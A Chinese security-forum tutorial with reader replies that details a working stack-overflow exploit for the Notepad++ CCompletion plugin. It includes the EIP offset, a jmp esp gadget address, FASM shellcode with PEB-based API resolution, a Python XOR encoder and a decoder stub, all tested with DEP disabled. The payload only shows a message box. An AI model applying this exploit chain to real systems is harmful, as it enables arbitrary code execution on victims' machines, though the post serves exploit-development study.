首页
社区
课程
招聘
[原创]经典栈溢出利用详解一例—Notepad++插件CCompletion
2014-2-23 21:08 6396

[原创]经典栈溢出利用详解一例—Notepad++插件CCompletion

2014-2-23 21:08
6396
经典栈溢出利用详解一例—Notepad++插件CCompletion

回顾
        上篇文章(http://bbs.pediy.com/showthread.php?t=184409)介绍了Noetpad++程序中的一个插件CCompletion存在的一个因使用不安全的lstrcpyW函数拷贝字符串造成的栈溢出漏洞,并且确定了漏洞的大致利用入口,已经找到了可控EIP数据在整个输入数据中的精确位置,但是如果要写出可以利用的Shell Code还需是需要费一番功夫去调试和修正的。这篇文章就按照前面所说的那个漏洞的利用入口来详细的介绍一个可用Shell Code的构造过程。

Shell Code框架构造
        首先要回想一下我们已知的漏洞情况,还记得可控EIP的精确位置么?
我们构造的数据的0x00000430个字节处的一个DWORD值就是我们可控EIP的值。
这里利用一个简单的数据布局图来说明一下:

        P1:静态数据布局

上图中整个数据块就是我们将要输入到Notepad中的数据,其中在偏移0x430处的一个四字节DWORD值在漏洞触发时候将会被程序通过ret指令取出来弹入EIP寄存器,这时候程序流程就会转向到EIP的值,而ESP的值会变成内存中对应于0x00000434处偏移的栈地址,然后程序会从0xXXXXXXXX处开始执行。

知道这个过程之后我们就可以开始构建Shell Code的框架了。首先考虑一点上图中0xXXXXXXXX值我们应该设置为什么值?这个是一般栈溢出利用的一个敲门砖,非常重要,我们的目的是让程序的执行流程进入我们构造的Shell Code并且正确执行,所以很容易想到,这个值就直接设置成我们的Shell Code所在的地址不就行了么,比如把Shell code的真正内容防止在上图中的0x00000434处开始,然后直接把EipValue设置成0x00000434,这个错误就太明显了……因为栈的内存地址并不一定是永远不变的,虽然有些程序每次运行的时候栈地址都相同,所以我们写Shell Code的时候应该尽量避免这种于Shell Code自身地址的HardCode。所以我们应该像一个更好的方法来让程序流程进入我们的ShellCode中。稍微学习过这方面的知识的同学应该都知道jmp esp方法,这种方法相对HardCode EIP值的方法确实优雅了不少。这种方法可以用下图来展示:


P2:通过JMP ESP方法跳转

上图应该很清楚的说明了JMP ESP的用法了,所以我们要做的就是在偏移0x430处放置一个地址,这个地址所指向的内存中存在一条jmp esp指令,那这个地址放什么?一般的做法是在系统自带的且进程必须的几个dll中搜索出包含这条指令的地址,比如Kernle32.dll,ntdll.dll等。比如我们可以在Kernel32.dll中搜索:
0:009> .effmach x86
Effective machine: x86 compatible (x86)
0:009:x86> lmvm kernel32
start             end                 module name
76cc0000 76dd0000   KERNEL32   (pdb symbols)          f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb
   Loaded symbol image file: KERNEL32.dll
   Image path: KERNEL32.dll
   Image name: KERNEL32.dll
   Timestamp:        Fri Aug 02 09:53:25 2013 (51FB1115)
   CheckSum:         00111A9F
   ImageSize:        00110000
…………………………………………………
0:009:x86> s 76cc0000 L00110000 ff e4
76ce8bd5  ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff  ..E.v...........
0:009:x86> u 76ce8bd5  
KERNEL32!BasepCheckCacheExcludeCustom+0x54:
76ce8bd5 ffe4            jmp     esp
76ce8bd7 45              inc     ebp
……………………………………………………………

这样我们就得到了一个内存地址0x76ce8bd5,我们可以用这个地址填入之前的Shell Code之前的EipValue中。但是这种方法有两个依赖:
1.        kernel32.dll在内存中的地址固定
2.        jmp esp这个指令在kernel32.dll中的偏移固定,就是需要该模块固定,没有引入代码增删的修改。
仔细想一想这两个条件都是很难保证的,首先kernel32.dll这个模块在早期的操作系统中没有大范围开启ASLR缓解方案的时候可以保证,但是现在只要是windows vista和以上的系统一般都开启了ASLR,每次重新开机之后Kernel32.dll在进程中的基址都会发生改变,所以我们就不能保证写一次Shell Code可以在同一台机器上正常执行。第二条,如果是不同的操作系统,那么kernel32.dll这个模块本身就有二进制级别的差异,所以在一个系统中这个偏移内是jmp esp,换一个系统之后由于kernel32.dll模块不一样,就导致这个地址内不是jmp esp指令。对于系统模块,ASLR的作用是保证每次启动系统的时候模块地址都是随机加载的,对于进程模块而言,ASLR的作用是保证每次程序重新启动的时候模块加载机制都是随机的。

        所以要想找到一个合适的jmp esp作为跳板:
1.        尽量避开操作系统本身的模块,以求系统版本独立性
2.        必须找到一个没有开启ASLR特性,并且加载地址固定的模块
按照上面的要求,应该最先想到的就是进程的EXE模块,因为这个模块在没有开启ASLR特性的时候一定是加载到0x00400000处的,如果成功找的话那这个jmp esp跳板就只跟存在漏洞的目标程序版本相关,跟系统版本无关了。很幸运,Noetpad++.exe这个模块并没有开启ASLR特性,所以这个模块每次程序启动的时候加载地址都是固定的。所以我们在Notepad++.exe模块中查找一下jmp esp指令:
0:009:x86> lmvm notepad*
start             end                 module name
00400000 005c9000   notepad__   (deferred)             
    Image path: F:\Program Files (x86)\NotePad++\notepad++.exe
    Image name: notepad++.exe
    Timestamp:        Tue Dec 10 18:54:54 2013 (52A6F2FE)
    CheckSum:         0018B6E1
    ImageSize:        001C9000
    File version:     6.5.2.0
    Product version:  6.5.2.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Don HO don.h@free.fr
    ProductName:      Notepad++
    InternalName:     npp.exe
    OriginalFilename: Notepad++.exe
    ProductVersion:   6.52
    FileVersion:      6.52
    FileDescription:  Notepad++ : a free (GNU) source code editor
    LegalCopyright:   Copyleft 1998-2013 by Don HO
0:009:x86> s 00400000 L001C9000 ff e4
0044c4ed  ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc  ...._^..........
0051a88b  ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00  ...N.......N....
……………………………………
0:009:x86> u 0044c4ed  
notepad__+0x4c4ed:
0044c4ed ffe4            jmp     esp
……………………………………
分析到这里,我们已经找到了必要数据来进行Shell Code的编写了,整个Shell Code的结构就按照上面的P2图所示的方法来构造,因为仅仅是用于学习所以Shell Code的功能非常简单,就是弹出一个Messagebox,该代码采用我的前一篇文章(http://bbs.pediy.com/showthread.php?t=172496)中的已有的用于PE感染的Shell Code,该Shell Code的具体实现方法请参见之前的文章,这里主要说明一下如何把这个Shell Code应用于本文中的漏洞中。

        首先编译Shell Code的汇编代码,我这里所有的汇编代码都是采用的FASM汇编引擎。
原始Shell Code:
LoadLibraryExA_Digest	equ	0xc0d83287
LoadLibraryA_Digest		equ	0x0C917432
MessageBoxA_Digest		equ	0x1E380A6A
FreeLibrary_Digest		equ	0x30BA7C8C
use32
shellcode_start:
			push ebp		;// 保存栈帧
			mov ebp, esp

			;// 获取USER32.DLL的基址
			call @f
			du "USER32.DLL",0
		@@:
			call get_module_base
			test eax, eax
			jz ._shellcode_return
			push eax				;// [ebp-4]

			;// 获取MessageBoxA的地址
			push MessageBoxA_Digest
			push eax
			call get_proc_address_by_digest
			test eax, eax
			jz ._shellcode_return

			;// Shell Code. Shion  [Shel    l_Co  de._  Shio   n000
			call @f
			db "Back Door Opend!", 0
		@@:
			pop edi
			call @f
			db 'HA...', 0
		@@:
			pop esi

			push 00000040h
			push esi
			push edi
			push 0
			call eax

._shellcode_return:
			leave
			jmp $
			
;/************************************************************************/
;/*  some useful procs for shell code programming.
;/*  tishion
;/************************************************************************/

use32
get_peb:
			mov eax, 30h
			mov eax, [fs:eax]			;// eax = ppeb
			ret

;/************************************************************************/
;/*  Get base address of  module
;*  tishion
;*  2013-05-26 13:45:20
;*  IN:
;*		ebp+8 = moudule name null-terminate string [WCHAR]
;*  
;*  OUT: 
;*		eax = ntdll.base
;*		#define _Wcsnicmp_Digest		0x548b2e5f
;/************************************************************************/
use32
get_module_base:
			push ebp
			mov ebp, esp

			call get_ntdll_base
			jz ._find_modulebase_done
	
			push 548b2e5fh				;// hash of _wcsnicmp
			push eax
			call get_proc_address_by_digest
			test eax, eax				;// _wcsnicmp
			jz ._find_modulebase_done

			push eax					;// [ebp-04h]_wcsnicmp
			
			call get_peb
			test eax, eax
			jz ._find_modulebase_done

			mov eax, [eax+0ch]			;// eax = pLdr			pLdr:[PEB_LDR_DATA]	
			mov esi, [eax+1ch]
			jmp ._compare_moudule_name

	._find_modulebase_loop:
			mov esi, [esi]				;// esi = pLdr->InInitializationOrderModuleList
	._compare_moudule_name:
			test esi, esi
			jz ._find_modulebase_done
			
			xor edi, edi
			mov di, word [esi+1ch]		;// length
			push edi
			push dword [esi+20h]		;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
			push dword [ebp+08h]
			mov edi, [ebp-04h]
			call edi
			test eax, eax
			jnz ._find_modulebase_loop
			
			mov eax, [esi+08h]			;// eax = pLdrDataTableEntry.DllBase
	._find_modulebase_done:
			leave
			ret 4

;/************************************************************************/
;/*  Get base address of ntdll.dll module
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  OUT: 
;*		eax = ntdll.base
;/************************************************************************/
use32
get_ntdll_base:
			call get_peb
			test eax, eax
			jz ._find_ntdllbase_done

			mov eax, [eax+0ch]		;// eax = pLdr			pLdr:[PEB_LDR_DATA]	
			mov eax, [eax+1ch]		;// eax = pLdr->InInitializationOrderModuleList
			mov eax, [eax+08h]		;// eax = pLdrDataTableEntry.DllBase
	._find_ntdllbase_done:
			ret
			
;/************************************************************************/
;/*  Get function name digest
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  IN: 
;*		esi = function name 
;*  OUT: 
;*		edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:			
			push eax
			xor edx, edx
		._next_char:
			xor eax, eax
			lodsb
			test eax, eax
			jz ._done

			ror edx, 7
			add edx, eax
			jmp ._next_char
		._done:
			pop eax
			ret
;/************************************************************************/
;/*  Get function address by searching export table
;*  tishion
;*  2013-05-26 13:50:13
;*  
;*  IN: 
;*		[ebp+8]		= module base 
;*		[ebp+0ch]	= function name digest
;*  OUT: 
;*		eax			function address (null if failed)
;/************************************************************************/
use32
get_proc_address_by_digest:
			push ebp
			mov ebp, esp

			mov eax, [ebp+8]
			add eax, [eax+3ch]				;// eax = ImageNtHeader			IMAGE_NT_HEADERS  
			push eax				;// [ebp-04h]

			;//add eax, 18h			;// eax = ImageOptionalHeader	IMAGE_OPTIONAL_HEADER
			;//add eax, 60h			;// eax = ImageExportDirectoryEntry	IMAGE_DIRECTORY_ENTRY_EXPORT
			;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
			add eax, 78h

			mov eax, [eax]			;// eax = RVA IMAGE_EXPORT_DIRECTORY
			add eax, [ebp+08h]		;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
			mov ecx, eax

			mov eax, [ecx+20h]
			add eax, [ebp+08h]		;// eax = AddressOfNames
			push eax				;// [ebp-08h]	导出名称地址表

			mov eax, [ecx+24h]
			add eax, [ebp+08h]		;// eax = AddressOfNameOrdinals
			push eax				;// [ebp-0ch]	导出序号表

			mov eax, [ecx+1ch]
			add eax, [ebp+08h]		;// eax = AddressOfFunctions
			push eax				;// [ebp-10h]	导出RAV地址表

			push dword [ecx+10h]	;// [ebp-14h]ordinals base					
			push dword [ecx+14h]	;// [ebp-18h]NumberOfFunctions		
			push dword [ecx+18h]	;// [ebp-1ch]NumberOfNames

			mov ecx, [ebp-1ch]
			mov ebx, ecx
			mov eax, [ebp-08h]

	._find_func:
			mov edi, ebx
			sub edi, ecx
			mov esi, [eax+edi*4]
			test esi, esi			;// esi是否NULL
			loope ._find_func
			inc ecx
			add esi, [ebp+08h]
			call get_ansi_string_digest
			cmp edx, [ebp+0ch]
			loopne ._find_func		;// ecx 为目标函数在函数名数组中的index

			xor edx, edx
			mov eax, [ebp-0ch]
			mov dx, [eax+edi*2]	
			
			cmp edx, [ebp-18h]
			jae ._return_null

			mov eax, [ebp-10h]		;// eax = AddressOfFunctions
			mov eax, [eax+edx*4]	;// edi = RVA地址数组的地址  edi+4*序号 即为 某一函数的RVA地址
			add eax, [ebp+08h]
			jmp ._function_found_done

	._return_null:
			xor eax, eax
	._function_found_done:
			leave
			ret 8


经过编译之后打开查看二进制文件:

P3:未编码的Shell Code

这么多不堪入目的0x00,要知道我们的数据要进入栈是要通过lstrcpyW这个函数,所以我们的Shell  Code必须按照UNICODE的编码方式来构造,如果我们的Shell Code中出现了0x0000这样的字符,那就被认为是WCHAR型的NULL结束符,所以后面的Shell Code就无法进入目标栈区了,所以这段Shell  Code是无法直接使用的,必须经过变形,去除其中的0x00,两个连续的0x00不一定会引起截断,但是三个连续的0x00一定会引起截断。为了严格一点我们要求我们的Shell Code中不出现任何0x00。如何做?

Shell Code变形,其实类似加壳和脱壳一样,就是先把包含实际功能的Shell Code用一种算法编码一下,在这里我称之为Shell  Code Payload,然后把payload塞到整个Shell Code中,在Shell Code中添加一段用于解码payload的代码,当Shell Code获取执行权限之后先把payload中的所有数据(代码)解码,最后在跳入到解码后的payload中执行,但是有一点,解码的代码编译后也不能包含截断字符。这样的话,我们就调整一下Shell Code的结构吧,在这里要清除Shell Code和真正的Payload之间的关系,通过上面的描述,之前的那段Shell Code代码现在就被我们当作Payload来使用了,所以我们需要再写一个包装Payload的外壳,之前的方法是Shell Code紧接着EipValue,现在调整一下之后的结构如下图所示:

P4:调整后的Shell Code结构

下面就要开始进行Shell Code变形的编码工作了,Payload的代码无需改变,只需要知道Payload的长度就行了。然后要选择一种变形的算法,一般采用异或算法,用Payload的每一个字节与一个因子factor做异或,生成一个不包含截断字符的Payload,然后在解码时再与那个因子factor做异或,这样就可以解码了。在这里我鉴于复杂度的考虑没有选择使用固定的因子来做异或,而是采用了每个字节与这个字节所在的偏移值进行异或,生成的Payload如下:

P5:编码之后的payload

下面就要开始编写payload的包装了,代码如下:
TARGET_EIP_OFFSET 		equ 0x430

use32
			db 0xff, 0xfe				;// Unicode bom
org 0x0
			times 0x80 du 'A'
			shellcode_start:
			;// shellcode解变形
			
			;// 先让esp指向shellcode_start处
			
			sub sp, (ESP_OFFSET - shellcode_start)			 ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00
			mov edi, esp 	;// 寻址payload
			;// 让edi指向payload_start
			add edi, (payload_start - shellcode_start)
						
			mov cx, 'PL'	;// payload的长度
		.continue:
			mov al, byte [edi]
			xor al, cl
			mov byte [edi], al
			inc edi
			loopnzw .continue
			
			;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,
			;// 所以首先调整ESP的值到shellcode代码区之前32个字节处
			;// 否则shellcode执行中会破坏shellcode代码
			sub esp, 0x20
			
payload_start:
		times (TARGET_EIP_OFFSET - payload_start) db 'P'				;// 为Payload预留的代码空间
payload_end:

org TARGET_EIP_OFFSET					;// 调整对齐伪指令
			dd  0x0044C4ED			;// 我们已知的JMP ESP指令的地址
ESP_OFFSET:
			jmp shellcode_start			;// 注意此时esp指向这里
			
			;// 多来点填充尾部
			times 400 du 'E'

为了一次到位,代码中把所有的占位符都以及各包含进来了,编译完之后只需要把payload填充到代码中为payload预留的代码空间中就行了。

P6:生成的Shell Code框架

然后使用010Editor,把payload复制到payload的预留空间,保存此文件,利用此文件去触发漏洞,结果并没有我们预想的弹出我们期待的MessageBox。

第一轮修正:尴尬的UNICODE,去除Shell Code中无法编码的Unicode代理对(0xD800 ~0xDFFFF)
        本以为我们的Shell Code已经可以正确运行了,但是结果却失败了,然后就跟踪调试,看一下到底是什么地方出了问题,最需要怀疑的就是我们的原始数据是否正确进入了程序,通过对比在解码前的内存数据和我们的Shell Code的二进制文件的数据发现,有几个地方的数据变了:

P7:Shell Code数据改变

统计之后发现存在如下关系,这个需要经验来判断了,如果你对字符串编码一无所知,对于这个问题基本上是无解了,所以漏洞挖掘和利用对一个人的综合技能要求相对较高。
37 DE 		FD FF FD FF
57 DE 		FD FF FD FF
54 DF 		FD FF FD FF
14 D8 		FD FF FD FF
01 DB 		FD FF FD FF
72 DA 		FD FF FD FF
CE DB 		FD FF FD FF
D8 D9 		FD FF FD FF

对于这个问题,我最初只知道是因为编码转换的问题,但是发现他们都存在一个特征,上面所有的字节串转成一个WORD之后值都在0XD800之后,就这一个线索,然后拼接个关键字Unicode 0xD800去百度谷歌,最终在维基百科(http://zh.wikipedia.org/wiki/UTF-16)上面找到了如下解释:

P8:Unicode中的陷阱码位

很不幸,我们的payload正好掉进了这些数据的陷阱中,windows在进行编码转换的时候遇到上述这些码位就直接编码错误了,然后就编码成了fd ff fd ff。所以我们还要改进算法,以求能避免出现位于0xD800~0xDFFF内的码位了。这里起先是采用了增加一个factor多进行一个异或,通过调整factor来找到符合要求的payload,但是后来意识到自己把简单问题复杂化了,所以就重新修改了算法,直接异或一个固定factor来编码,然后调整factor来寻找。

当然这个过程自然可以自动化,所以写个Python 脚本来做吧。
#!/usr/bin/env python
#coding:utf-8
"""
  Author:  tishion --<tishion#163.com>
  Purpose: 
  Created: 2014/2/22
"""

from struct import *


def encode_sc(srcfn, dstfn, s=0):
    """
    shell code变形方法:
        把shell code中的每一个字节与该字节在整个单独的shell code中的
        偏移值进行异或,然后再与一个salt做一次异或。
        salt的存在主要是为了寻找一个满足各种要求的shell code变体
    """
    try:
        srcf = open(srcfn, 'rb')        #shell code源文件
        dstf = open(dstfn, 'wb')        #变形后的目标文件
        
        OneByte = Struct('B')
        
        srcstr = srcf.read()
        dststr = ''
        
        salt = s & 0xFF
        for i in range(0, len(srcstr)):
            srcbyte = OneByte.unpack(srcstr[i])[0]
            #dstbyte = (srcbyte ^ (i + salt)) & 0xFF       #这种算法最终无法找到满足要求的变形结果
            
            #dstbyte = (srcbyte ^ salt ^ i) & 0xFF           #通过这中算法找到了满足的变形结果salt=0x20
            
            dstbyte = (srcbyte ^ salt) & 0xFF           #
            
            ##############################################################
            #判断条件,这里的代码用于判断生成的shell code是否符合某些要求
            if (
                (dstbyte == 0) or 
                (((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF))
                ):
                #print 'i=', i, 'dstbyte=', hex(dstbyte)
                srcf.close()
                dstf.close()
                return False
            ###############################################################
            
            dststr = dststr + OneByte.pack(dstbyte)
            print '[%d]0x%02x ==> 0x%02x' % (i, srcbyte, dstbyte)
            
        dstf.write(dststr)
            
        srcf.close()
        dstf.close()
    except Exception, e:
        print 'Exception:', e
        return False
        
    return True

if __name__ == '__main__':
    
    srcfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin'
    dstfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______'
    
    #encode_sc(srcfn, dstfn, 0x20)
    #exit()
    
    for i in range(2, 0xff):
        if encode_sc(srcfn, dstfn, i):
            print 'OK @salt =', hex(i)
            break
        else:
            print 'Failed @salt =', hex(i)
            pass

运行结果:
OK @salt = 0x43
因子就确定为0x43,然后重新使用该因子来编码,之后就解决了这个UNICODE的编码陷阱问题。编码之后的Shell Code如下图所示:

P9:新算法编码之后的payload

因为我们改变了编码算法,所以对应的解码算法也要做修改,所以Shell Code的编码就要修改:
TARGET_EIP_OFFSET 		equ 0x430
PAYLOAD_ENCODE_SALT		equ 0x43
PAYLOAD_LENGTH			equ 0x154

use32
			db 0xff, 0xfe
org 0x0
			times 0x80 du 'A'

shellcode_start:
			;// shellcode解变形
			
			;// 先让esp指向shellcode_start处
			;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00
			sub sp, (ESP_OFFSET - shellcode_start)
			mov esi, esp 	;// 寻址payload
			;// 让esi指向payload_start
			add esi, (payload_start - shellcode_start)
						
			mov cx, PAYLOAD_LENGTH	;// payload的长度
		.continue:
			mov al, byte [esi] 
			xor al, PAYLOAD_ENCODE_SALT
			mov byte [esi], al
			inc esi
			loopnzw .continue
			nop
			;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,
			;// 所以首先调整ESP的值到shellcode代码区之前32个字节处
			;// 否则shellcode执行中会破坏shellcode代码
			sub esp, 0x20
			
payload_start:
		times (TARGET_EIP_OFFSET - payload_start) db 'P'
payload_end:

org TARGET_EIP_OFFSET					;// 调整对齐伪指令
			dd  0x0044C4ED				;// 我们已知的JMP ESP指令的地址
ESP_OFFSET:
			jmp shellcode_start			;// 注意此时esp指向这里
			
			;// 多来点填充尾部
			times 400 du 'E'
                       
然后用生成的Shell Code去触发漏洞场景,结果还是悲剧的失败了,程序跑飞了,继续调试跟踪发现:

P10:Shell Code数据被位置原因修改。

位于整个Shell Code的偏移0x208处的一个WORD被修改为了00,那我们还要继续修正我们的Shell Code。

第二轮修正:不可抗拒力,填充Padding数据避免Shell Code被程序修改
        为什么Shell Code的0x208处被修改为0x0000了呢?这个问题我们可以继续深究,但是也可以用别的方法绕过这的数据扰乱,方法就是把该偏移附近的代码修改为无用数据,利用占位的方式在这里进行padding。占位的时候可以根据精确定位只占用目标偏移的固定的字节的数据,但是为了节省时间(因为这个Shell Code的研究已经话费了5个小时的时间了,因为之前采用了一种复杂的异或方式,囧……),所以这里我们直接padding掉0x10个字节,具体的padding方法是跟踪代码,然后对照我们的payload的汇编源码,确定该偏移位于我们的payload代码的大概位置,经过定位之后确定padding的地方应该在如下代码位置:
                       
;/************************************************************************/
;/*  Get function name digest
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  IN: 
;*		esi = function name 
;*  OUT: 
;*		edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:			
			push eax
			xor edx, edx
		._next_char:
			xor eax, eax
			lodsb
			test eax, eax
			jz ._done

			ror edx, 7
			add edx, eax
			jmp ._next_char
		._done:
			pop eax
			ret
;/************************************************************************/
;/*  Get function address by searching export table
;*  tishion
;*  2013-05-26 13:50:13
;*  
;*  IN: 
;*		[ebp+8]		= module base 
;*		[ebp+0ch]	= function name digest
;*  OUT: 
;*		eax			function address (null if failed)
;/************************************************************************/
use32

times 0x10 db 0x90							;//在此处填充16个nop

get_proc_address_by_digest:
			push ebp
			mov ebp, esp

			mov eax, [ebp+8]
			add eax, [eax+3ch]				;// eax = ImageNtHeader			IMAGE_NT_HEADERS  
			push eax				;// [ebp-04h]

这样修改payload之后重新编译,我们的payload代码就会增加了16个字节,所以shell Code的代码也要进行修改,因为Shell Code中有一个HardCode的值,那就是payload的长度,所以我们需要修改Shell Code代码中的一个常量:
PAYLOAD_LENGTH			equ 0x154
修改改为:
PAYLOAD_LENGTH			equ 0x164
经过如上修改,重新编译Payload和Shell Code,然后把payload复制到Shell Code中的占位区,然后用新的Shell Code去验证:

P11:EMET提示DEP保护

额,遇到了DEP保护,所以这里要说明我们的Shell Code并没有针对DEP等其他缓解方案进行绕过,所以我们关闭Notepad++.exe的DEP和EAF再来进行验证把。

P12:关闭DEP和EAF保护。

然后再来一遍:

P13:Windows7系统下的Shell Code成功执行。

然后换个系统,Windows XP SP3:

P14:Windows XP SP3下的Shell Code执行成功

补充说明:
Noetpad++.exe的版本:6.5.2的UNICODE版本
CCompletion插件的版本:1.19

还有很多细节问题本文没有深入的介绍,只能靠有兴趣的自己去实践一遍然后挖掘这些问题了。

可用Shell Code文件:
shellcode.txt


下载本文所有相关代码和资源:
经典栈溢出利用详解一例-Notepad++插件CCompletion.7z


另外建了个专门研究漏洞的群,有兴趣的同学可以进来交流:专注技术方法研究,拒绝0Day公开讨论。
181872866

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (39)
雪    币: 12304
活跃值: (3395)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xJJuno 2014-2-23 21:16
2
0
mark学习。。。
雪    币: 35
活跃值: (139)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
JoyFei 2 2014-2-23 21:18
3
0
抢个板凳,ts威武
雪    币: 29
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
LeavesBNW 1 2014-2-23 21:19
4
0
图画的不错,看完这几张图也就知道了文字的内容了,不错哦
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
JoySauce 1 2014-2-23 21:23
5
0
沙发都没了。打你屁屁你不乖
雪    币: 2660
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 34 2014-2-23 21:59
6
0
写的很好,支持...
楼主又添精华一篇呀,哈哈,看来我要加快脚步了呀
雪    币: 3474
活跃值: (236)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hoyer 2014-2-23 22:14
7
0
先占个位,慢慢看。
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2014-2-23 22:21
8
0
感谢楼主大大的辛苦编写和发布
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
封心锁爱 2014-2-23 22:42
9
0
写的太好了,又一精华
雪    币: 623
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
天高 2014-2-23 22:43
10
0
mark
雪    币: 95
活跃值: (119)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
JingSao 2014-2-23 22:46
11
0
看后觉得好牛叉呀
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
AioliaSky 1 2014-2-23 22:49
12
0
谢谢分享,留个mark
雪    币: 1773
活跃值: (756)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
yijun8354 12 2014-2-24 00:01
13
0
感谢分享,支持一个。
雪    币: 95
活跃值: (41)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
sinsoul 2 2014-2-24 09:21
14
0
循序渐进,图文并茂,言必有中,已经有段时间没有看到这么冷静的文章了。
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
hrpirip 1 2014-2-24 10:48
15
0
画质不错
雪    币: 123
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wawt 2014-2-25 11:57
16
0
这个真的是太牛B的,实在看不懂!
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suwey 2014-2-25 14:17
17
0
看得我一愣一愣的。。顶了先
雪    币: 72
活跃值: (74)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ztj 2014-2-28 16:52
18
0
支持一个 说的很详细
雪    币: 236
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fanslinux 2014-3-4 15:59
19
0
好文章,学习了。。。
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-3-4 21:03
20
0
请问楼主前两个图是用什么工具做出来的?
雪    币: 496
活跃值: (281)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
tishion 9 2014-3-4 21:29
21
0
//http://uml.riaoo.com/

额不好意思,我当成上一篇文章的UML图了

这里的两个图是直接用windows自带的mspaint.exe做的。俗称"画图"
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
slavelord 2014-3-4 23:03
22
0
文本类的溢出经常就会遇到编码问题,lz为何不直接用现成的纯字母编码来解决,比如alpha3,就不用走这么多弯路了
雪    币: 496
活跃值: (281)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
tishion 9 2014-3-4 23:43
23
0

我也是菜鸟,之前并不知道有alpha3这样成熟的自动化编解码工具。
不过后来还是研究了下alpha3的源码,的确是很优秀的作品.
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-3-5 11:02
24
0
好的,谢谢楼主
雪    币: 41
活跃值: (154)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
熔岩 2014-3-6 00:47
25
0
这个栈溢出利用成功的前提应该是被攻击的操作系统已经加载了Notepad++.exe

但我觉得这个概率不是很高啊,像我虽然安装了这个软件,但并不经常打开它

楼主可否考虑一些常驻内存的那种进程或DLL(而且还没有开启ASLR)?在这里面找找jmp esp?

2014.3.13

我想错了,没看到你写的上一篇文章~
游客
登录 | 注册 方可回帖
返回